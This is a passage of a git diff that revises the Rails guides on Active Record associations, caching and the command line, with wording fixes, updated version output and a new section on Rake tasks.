:development, or :production. +Bundler.require(:default, Rails.env) if defined?(Bundler) +</ruby> diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile index 458bfefad8..6829eb8ef4 100644 --- a/railties/guides/source/association_basics.textile +++ b/railties/guides/source/association_basics.textile @@ -211,7 +211,7 @@ end h4. Choosing Between +belongs_to+ and +has_one+ -If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? +If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: @@ -443,7 +443,7 @@ class CreateAssemblyPartJoinTable < ActiveRecord::Migration end </ruby> -We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behaviour in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit. +We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit. h4. Controlling Association Scope @@ -566,7 +566,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt> -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @customer = @order.create_customer(:customer_number => 123, @@ -576,7 +576,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso h5. Options for +belongs_to+ -In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Order < ActiveRecord::Base @@ -671,7 +671,7 @@ WARNING: You should not specify this option on a +belongs_to+ association that i h6(#belongs_to-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Order < ActiveRecord::Base @@ -760,9 +760,9 @@ h6(#belongs_to-validate). +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5(#belongs_to-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object? +h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist? -To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: +You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: <ruby> if @order.customer.nil? @@ -834,7 +834,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt> -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @account = @supplier.create_account(:terms => "Net 30") @@ -842,7 +842,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso h5. Options for +has_one+ -In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Supplier < ActiveRecord::Base @@ -902,7 +902,7 @@ If you set the +:dependent+ option to +:destroy+, then deleting this object will h6(#has_one-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Supplier < ActiveRecord::Base @@ -954,7 +954,7 @@ The +:order+ option dictates the order in which associated objects will be recei h6(#has_one-primary_key). +:primary_key+ -By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. +By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. h6(#has_one-readonly). +:readonly+ @@ -980,9 +980,9 @@ h6(#has_one-validate). +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5(#has_one-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object? +h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist? -To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: +You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: <ruby> if @supplier.account.nil? @@ -1120,11 +1120,9 @@ h6(#has_many-collection-find). <tt><em>collection</em>.find(...)</tt> The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. <ruby> -@open_orders = @customer.orders.all(:conditions => "open = 1") +@open_orders = @customer.orders.where(:open => 1) </ruby> -NOTE: Starting Rails 3, supplying options to +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. - h6(#has_many-collection-where). <tt><em>collection</em>.where(...)</tt> The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. @@ -1149,7 +1147,7 @@ The <tt><em>collection</em>.build</tt> method returns one or more new objects of h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt> -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations). +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @order = @customer.orders.create(:order_date => Time.now, @@ -1158,7 +1156,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc h5. Options for +has_many+ -In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Customer < ActiveRecord::Base @@ -1231,17 +1229,15 @@ end If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+. -If you need to evaluate conditions dynamically at runtime, you could use string interpolation in single quotes: +If you need to evaluate conditions dynamically at runtime, use a proc: <ruby> class Customer < ActiveRecord::Base has_many :latest_orders, :class_name => "Order", - :conditions => 'orders.created_at > #{10.hours.ago.to_s(:db).inspect}' + :conditions => proc { "orders.created_at > #{10.hours.ago.to_s(:db).inspect}" } end </ruby> -Be sure to use single quotes. - h6(#has_many-counter_sql). +:counter_sql+ Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. @@ -1264,7 +1260,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m h6(#has_many-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Customer < ActiveRecord::Base @@ -1347,7 +1343,7 @@ end h6(#has_many-primary_key). +:primary_key+ -By convention, Rails guesses that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. +By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. h6(#has_many-readonly). +:readonly+ @@ -1553,7 +1549,7 @@ The <tt><em>collection</em>.find</tt> method finds objects within the collection :conditions => ["created_at > ?", 2.days.ago]) </ruby> -NOTE: Starting Rails 3, supplying options to +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. +NOTE: Beginning with Rails 3, supplying options to the +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt> @@ -1578,7 +1574,7 @@ The <tt><em>collection</em>.build</tt> method returns a new object of the associ h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt> -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations). +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @assembly = @part.assemblies.create( @@ -1587,7 +1583,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc h5. Options for +has_and_belongs_to_many+ -In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Parts < ActiveRecord::Base @@ -1621,7 +1617,7 @@ The +has_and_belongs_to_many+ association supports these options: h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+ -By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example: @@ -1689,7 +1685,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class User < ActiveRecord::Base @@ -1857,17 +1853,8 @@ class Customer < ActiveRecord::Base end </ruby> -Extensions can refer to the internals of the association proxy using these three accessors: - -* +proxy_owner+ returns the object that the association is a part of. -* +proxy_reflection+ returns the reflection object that describes the association. -* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. - -h3. Changelog +Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor: -* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* April 19, 2009: Added +:touch+ option to +belongs_to+ associations by "Mike Gunderloy":credits.html#mgunderloy -* February 1, 2009: Added +:autosave+ option "Mike Gunderloy":credits.html#mgunderloy -* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by "Mike Gunderloy":credits.html#mgunderloy . First release version. -* September 22, 2008: Added diagrams, misc. cleanup by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 14, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +* +proxy_association.owner+ returns the object that the association is a part of. +* +proxy_association.reflection+ returns the reflection object that describes the association. +* +proxy_association.target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile index 91827fd493..4273d0dd64 100644 --- a/railties/guides/source/caching_with_rails.textile +++ b/railties/guides/source/caching_with_rails.textile @@ -15,7 +15,7 @@ h3. Basic Caching This is an introduction to the three types of caching techniques that Rails provides by default without the use of any third party plugins. -To start playing with testing you'll want to ensure that +config.action_controller.perform_caching+ is set to +true+ if you're running in development mode. This flag is normally set in the corresponding +config/environments/*.rb+ and caching is disabled by default for development and test, and enabled for production. +To start playing with caching you'll want to ensure that +config.action_controller.perform_caching+ is set to +true+, if you're running in development mode. This flag is normally set in the corresponding +config/environments/*.rb+ and caching is disabled by default for development and test, and enabled for production. <ruby> config.action_controller.perform_caching = true @@ -23,9 +23,9 @@ config.action_controller.perform_caching = true h4. Page Caching -Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with. +Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with. -So, how do you enable this super-fast cache behavior? Simple, let's say you have a controller called +ProductsController+ and an +index+ action that lists all the products +To enable page caching, you need to use the +caches_page+ method. <ruby> class ProductsController < ActionController @@ -35,11 +35,10 @@ class ProductsController < ActionController def index @products = Products.all end - end </ruby> -The first time anyone requests +/products+, Rails will generate a file called +products.html+ and the webserver will then look for that file before it passes the next request for +/products+ to your Rails application. +Let's say you have a controller called +ProductsController+ and an +index+ action that lists all the products. The first time anyone requests +/products+, Rails will generate a file called +products.html+ and the webserver will then look for that file before it passes the next request for +/products+ to your Rails application. By default, the page cache directory is set to +Rails.public_path+ (which is usually set to the +public+ folder) and this can be configured by changing the configuration setting +config.action_controller.page_cache_directory+. Changing the default from +public+ helps avoid naming conflicts, since you may want to put other static html in +public+, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from. @@ -104,7 +103,7 @@ INFO: Action caching runs in an after filter. Thus, invalid requests won't gener h4. Fragment Caching -Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently Rails provides a mechanism called Fragment Caching. +Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching. Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in. @@ -112,7 +111,7 @@ As an example, if you wanted to show all the orders placed on your website in re <ruby> <% Order.find_recent.each do |o| %> - <%= o.buyer.name %> bought <% o.product.name %> + <%= o.buyer.name %> bought <%= o.product.name %> <% end %> <% cache do %> @@ -162,17 +161,17 @@ class ProductSweeper < ActionController::Caching::Sweeper # If our sweeper detects that a Product was created call this def after_create(product) - expire_cache_for(product) + expire_cache_for(product) end # If our sweeper detects that a Product was updated call this def after_update(product) - expire_cache_for(product) + expire_cache_for(product) end # If our sweeper detects that a Product was deleted call this def after_destroy(product) - expire_cache_for(product) + expire_cache_for(product) end private @@ -189,7 +188,7 @@ end You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire: <ruby> - expire_action(:controller => 'products', :action => 'edit', :id => product) +expire_action(:controller => 'products', :action => 'edit', :id => product.id) </ruby> Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following: @@ -345,7 +344,7 @@ ActionController::Base.cache_store = MyCacheStore.new h4. Cache Keys -The keys used in a cache can be any object that responds to either +:cache_key+ or to +:to_param+. You can implement the +:cache_key+ method on your classes if you need to generate custom keys. ActiveRecord will generate keys based on the class name and record id. +The keys used in a cache can be any object that responds to either +:cache_key+ or to +:to_param+. You can implement the +:cache_key+ method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id. You can use Hashes and Arrays of values as cache keys. @@ -382,6 +381,7 @@ class ProductsController < ApplicationController # anything. The default render checks for this using the parameters # used in the previous call to stale? and will automatically send a # :not_modified. So that's it, you're done. + end end </ruby> @@ -403,15 +403,3 @@ end h3. Further reading * "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails - - -h3. Changelog - -* Feb 17, 2011: Document 3.0.0 changes to ActiveSupport::Cache -* May 02, 2009: Formatting cleanups -* April 26, 2009: Clean up typos in submitted patch -* April 1, 2009: Made a bunch of small fixes -* February 22, 2009: Beefed up the section on cache_stores -* December 27, 2008: Typo fixes -* November 23, 2008: Incremental updates with various suggested changes and formatting cleanup -* September 15, 2008: Initial version by Aditya Chadha diff --git a/railties/guides/source/command_line.textile b/railties/guides/source/command_line.textile index ad36c6532e..3f8643eca3 100644 --- a/railties/guides/source/command_line.textile +++ b/railties/guides/source/command_line.textile @@ -5,7 +5,7 @@ Rails comes with every command line tool you'll need to * Create a Rails application * Generate models, controllers, database migrations, and unit tests * Start a development server -* Mess with objects through an interactive shell +* Experiment with objects through an interactive shell * Profile and benchmark your new creation endprologue. @@ -51,21 +51,19 @@ $ rails new commandsapp Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box. -INFO: This output will seem very familiar when we get to the +generate+ command. Creepy foreshadowing! - h4. +rails server+ -Let's try it! The +rails server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to view your work through a web browser. +The +rails server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser. -INFO: WEBrick isn't your only option for serving Rails. We'll get to that in a later section. +INFO: WEBrick isn't your only option for serving Rails. We'll get to that "later":#different-servers. -Without any prodding of any kind, +rails server+ will run our new shiny Rails app: +With no further work, +rails server+ will run our new shiny Rails app: <shell> $ cd commandsapp $ rails server => Booting WEBrick -=> Rails 3.0.0 application starting in development on http://0.0.0.0:3000 +=> Rails 3.1.0 application starting in development on http://0.0.0.0:3000 => Call with -d to detach => Ctrl-C to shutdown server [2010-04-18 03:20:33] INFO WEBrick 1.3.1 @@ -75,13 +73,23 @@ $ rails server With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open "http://localhost:3000":http://localhost:3000, you will see a basic Rails app running. +You can also use the alias "s" to start the server: <tt>rails s</tt>. + +The server can be run on a different port using the +-p+ option. The default development environment can be changed using +-e+. + +<shell> +$ rails server -e production -p 4000 +</shell> + h4. +rails generate+ -The +rails generate+ command uses templates to create a whole lot of things. You can always find out what's available by running +rails generate+ by itself. Let's do that: +The +rails generate+ command uses templates to create a whole lot of things. Running +rails generate+ by itself gives a list of available generators: + +You can also use the alias "g" to invoke the generator command: <tt>rails g</tt>. <shell> $ rails generate -Usage: rails generate generator [args] [options] +Usage: rails generate GENERATOR [args] [options] ... ... @@ -97,7 +105,7 @@ Rails: NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own! -Using generators will save you a large amount of time by writing *boilerplate code*, code that is necessary for the app to work, but not necessary for you to spend time writing. That's what we have computers for. +Using generators will save you a large amount of time by writing *boilerplate code*, code that is necessary for the app to work. Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator: @@ -146,7 +154,8 @@ $ rails generate controller Greetings hello create test/unit/helpers/greetings_helper_test.rb invoke assets create app/assets/javascripts/greetings.js - create app/assets/stylesheets/greetings.css + invoke css + create app/assets/stylesheets/greetings.css </shell> @@ -169,7 +178,7 @@ Then the view, to display our message (in +app/views/greetings/hello.html.erb+): <p><%= @message %></p> </html> -Deal. Go check it out in your browser. Fire up your server using +rails server+. +Fire up your server using +rails server+. <shell> $ rails server @@ -182,7 +191,7 @@ The URL will be "http://localhost:3000/greetings/hello":http://localhost:3000/gr INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller. -Rails comes with a generator for data models too: +Rails comes with a generator for data models too. <shell> $ rails generate model @@ -237,7 +246,7 @@ dependency model create test/unit/high_score_test.rb create test/fixtures/high_scores.yml exists db/migrate - create db/migrate/20081217071914_create_high_scores.rb + create db/migrate/20100209025147_create_high_scores.rb </shell> The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything. @@ -267,11 +276,13 @@ h4. +rails console+ The +console+ command lets you interact with your Rails application from the command line. On the underside, +rails console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website. +You can also use the alias "c" to invoke the console: <tt>rails c</tt>. + If you wish to test out some code without changing any data, you can do that by invoking +rails console --sandbox+. <shell> $ rails console --sandbox -Loading development environment in sandbox (Rails 3.0.0) +Loading development environment in sandbox (Rails 3.1.0) Any modifications you make will be rolled back on exit irb(main):001:0> </shell> @@ -280,13 +291,11 @@ h4. +rails dbconsole+ +rails dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3. -h4. +rails plugin+ - -The +rails plugin+ command simplifies plugin management; think a miniature version of the Gem utility. Let's walk through installing a plugin. You can call the sub-command +discover+, which sifts through repositories looking for plugins, or call +source+ to add a specific repository of plugins, or you can specify the plugin location directly. +You can also use the alias "db" to invoke the dbconsole: <tt>rails db</tt>. -Let's say you're creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn't it be great if we could override the behavior of a model to never actually take its record out of the database, but instead, just set a field? +h4. +rails plugin+ -There is such a thing! The plugin we're installing is called +acts_as_paranoid+, and it lets models implement a +deleted_at+ column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things. +The +rails plugin+ command simplifies plugin management. Plugins can be installed by name or their repository URLs. You need to have Git installed if you want to install a plugin from a Git repo. The same holds for Subversion too. <shell> $ rails plugin install https://github.com/technoweenie/acts_as_paranoid.git @@ -304,9 +313,19 @@ h4. +rails runner+ $ rails runner "Model.long_running_method" </shell> +You can also use the alias "r" to invoke the runner: <tt>rails r</tt>. + +You can specify the environment in which the +runner+ command should operate using the +-e+ switch. + +<shell> +$ rails runner -e staging "Model.long_running_method" +</shell> + h4. +rails destroy+ -Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times! +Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. + +You can also use the alias "d" to invoke the destroy command: <tt>rails d</tt>. <shell> $ rails generate model Oops @@ -333,27 +352,136 @@ $ rails destroy model Oops notempty app </shell> -h4. +rake about+ +h3. Rake -Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version! +about+ is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. +Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other. + +You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need. + +<shell> +$ rake --tasks +(in /home/foobar/commandsapp) +rake db:abort_if_pending_migrations # Raises an error if there are pending migrations +rake db:charset # Retrieves the charset for the current environment's database +rake db:collation # Retrieves the collation for the current environment's database +rake db:create # Create the database defined in config/database.yml for the current Rails.env +... +... +rake tmp:pids:clear # Clears all files in tmp/pids +rake tmp:sessions:clear # Clears all files in tmp/sessions +rake tmp:sockets:clear # Clears all files in tmp/sockets +</shell> + +h4. +about+ + +<tt>rake about</tt> gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. <shell> $ rake about About your application's environment Ruby version 1.8.7 (x86_64-linux) RubyGems version 1.3.6 -Rack version 1.1 -Rails version 3.0.0 -Active Record version 3.0.0 -Action Pack version 3.0.0 -Active Resource version 3.0.0 -Action Mailer version 3.0.0 -Active Support version 3.0.0 -Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, Rack::Sendfile, ActionDispatch::Callbacks, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::MethodOverride, ActionDispatch::Head +Rack version 1.3 +Rails version 3.2.0.beta +JavaScript Runtime Node.js (V8) +Active Record version 3.2.0.beta +Action Pack version 3.2.0.beta +Active Resource version 3.2.0.beta +Action Mailer version 3.2.0.beta +Active Support version 3.2.0.beta +Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport Application root /home/foobar/commandsapp Environment development +Database adapter sqlite3 +Database schema version 20110805173523 +</shell> + +h4. +assets+ + +You can precompile the assets in <tt>app/assets</tt> using <tt>rake assets:precompile</tt> and remove those compiled assets using <tt>rake assets:clean</tt>. + +h4. +db+ + +The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database. + +More information about migrations can be found in the "Migrations":migrations.html guide. + +h4. +doc+ + +The +doc:+ namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform. + +* +rake doc:app+ generates documentation for your application in +doc/app+. +* +rake doc:guides+ generates Rails guides in +doc/guides+. +* +rake doc:rails+ generates API documentation for Rails in +doc/api+. +* +rake doc:plugins+ generates API documentation for all the plugins installed in the application in +doc/plugins+. +* +rake doc:clobber_plugins+ removes the generated documentation for all plugins. + +h4. +notes+ + ++rake notes+ will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is only done in files with extension +.builder+, +.rb+, +.rxml+, +.rhtml+ and +.erb+ for both default and custom annotations. + +<shell> +$ rake notes +(in /home/foobar/commandsapp) +app/controllers/admin/users_controller.rb: + * [ 20] [TODO] any other way to do this? + * [132] [FIXME] high priority for next deploy + +app/model/school.rb: + * [ 13] [OPTIMIZE] refactor this code to make it faster + * [ 17] [FIXME] +</shell> + +If you are looking for a specific annotation, say FIXME, you can use +rake notes:fixme+. Note that you have to lower case the annotation's name. + +<shell> +$ rake notes:fixme +(in /home/foobar/commandsapp) +app/controllers/admin/users_controller.rb: + * [132] high priority for next deploy + +app/model/school.rb: + * [ 17] </shell> +You can also use custom annotations in your code and list them using +rake notes:custom+ by specifying the annotation using an environment variable +ANNOTATION+. + +<shell> +$ rake notes:custom ANNOTATION=BUG +(in /home/foobar/commandsapp) +app/model/post.rb: + * [ 23] Have to fix this one before pushing! +</shell> + +NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines. + +h4. +routes+ + ++rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with. + +h4. +test+ + +INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html + +Rails comes with a test suite called <tt>Test::Unit</tt>. Rails owes its stability to the use of tests. The tasks available in the +test:+ namespace helps in running the different tests you will hopefully write. + +h4. +tmp+ + +The <tt>Rails.root/tmp</tt> directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. + +The +tmp:+ namespaced tasks will help you clear the <tt>Rails.root/tmp</tt> directory: + +* +rake tmp:cache:clear+ clears <tt>tmp/cache</tt>. +* +rake tmp:sessions:clear+ clears <tt>tmp/sessions</tt>. +* +rake tmp:sockets:clear+ clears <tt>tmp/sockets</tt>. +* +rake 